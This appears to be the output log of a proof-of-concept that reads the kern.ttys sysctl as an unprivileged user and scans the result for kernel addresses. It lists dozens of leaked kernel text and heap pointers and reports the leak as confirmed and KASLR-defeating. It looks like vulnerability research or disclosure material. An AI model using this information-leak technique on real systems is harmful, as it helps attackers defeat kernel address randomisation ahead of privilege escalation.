got 3760 bytes from kern.ttys (readable as UNPRIVILEGED user)
raw blob written to ttys.bin
could not guess struct tty record size; scanning whole blob

Leaked kernel-range pointer-sized values:
  blob off    24  TEXT/FN : 0xffffffff80c64d8d
  blob off    48  HEAP/DM : 0xfffff801168fb400
  blob off    80  HEAP/DM : 0xfffff801168db800
  blob off   112  HEAP/DM : 0xfffff8008d4a3800
  blob off   160  HEAP/DM : 0xfffff8011690f808
  blob off   168  HEAP/DM : 0xfffff8011692de10
  blob off   256  TEXT/FN : 0xffffffff80b8c0f0
  blob off   264  TEXT/FN : 0xffffffff806b87a0
  blob off   272  TEXT/FN : 0xffffffff80b87220
  blob off   352  HEAP/DM : 0xfffff8011865b600
  blob off   360  TEXT/FN : 0xffffffff810e5200
  blob off   400  TEXT/FN : 0xffffffff80c64d8d
  blob off   424  HEAP/DM : 0xfffff8008bbb6c00
  blob off   456  HEAP/DM : 0xfffff8008dcf1800
  blob off   488  HEAP/DM : 0xfffff8008d200200
  blob off   536  HEAP/DM : 0xfffff8004f1c6208
  blob off   544  HEAP/DM : 0xfffff8008bb1fee8
  blob off   632  TEXT/FN : 0xffffffff80b8c0f0
  blob off   640  TEXT/FN : 0xffffffff806b87a0
  blob off   648  TEXT/FN : 0xffffffff80b87220
  blob off   728  HEAP/DM : 0xfffff8011865b600
  blob off   736  HEAP/DM : 0xfffff8004f2e5f00
  blob off   776  TEXT/FN : 0xffffffff80c64d8d
  blob off   800  HEAP/DM : 0xfffff801182bd800
  blob off   832  HEAP/DM : 0xfffff80118295800
  blob off   864  HEAP/DM : 0xfffff8008d5d6a00
  blob off   912  HEAP/DM : 0xfffff80118058bb0
  blob off   920  HEAP/DM : 0xfffff80116d4e630
  blob off  1008  TEXT/FN : 0xffffffff80b8c0f0
  blob off  1016  TEXT/FN : 0xffffffff806b87a0
  blob off  1024  TEXT/FN : 0xffffffff80b87220
  blob off  1104  HEAP/DM : 0xfffff8011865b600
  blob off  1112  HEAP/DM : 0xfffff8004f2e5d80
  blob off  1152  TEXT/FN : 0xffffffff80c64d8d
  blob off  1176  HEAP/DM : 0xfffff801182a0400
  blob off  1208  HEAP/DM : 0xfffff80118296000
  blob off  1240  HEAP/DM : 0xfffff8008d5d7c00
  blob off  1288  HEAP/DM : 0xfffff80118058c28
  blob off  1296  HEAP/DM : 0xfffff80116d4e698
  blob off  1384  TEXT/FN : 0xffffffff80b8c0f0
  blob off  1392  TEXT/FN : 0xffffffff806b87a0
  blob off  1400  TEXT/FN : 0xffffffff80b87220
  blob off  1480  HEAP/DM : 0xfffff8011865b600
  blob off  1488  HEAP/DM : 0xfffff8004f2e5c00
  blob off  1528  TEXT/FN : 0xffffffff80c64d8d
  blob off  1552  HEAP/DM : 0xfffff80118312400
  blob off  1584  HEAP/DM : 0xfffff801182f6800
  blob off  1616  HEAP/DM : 0xfffff8008d6f7c00

TOTAL kernel-range pointers leaked      : 102
  of which kernel .text/.rodata (FN)    : 38
  of which heap/direct-map              : 64

VERDICT: LEAK CONFIRMED — unprivileged user obtained 102 raw kernel pointers from kern.ttys (KASLR-defeating).
RUN_EXIT=0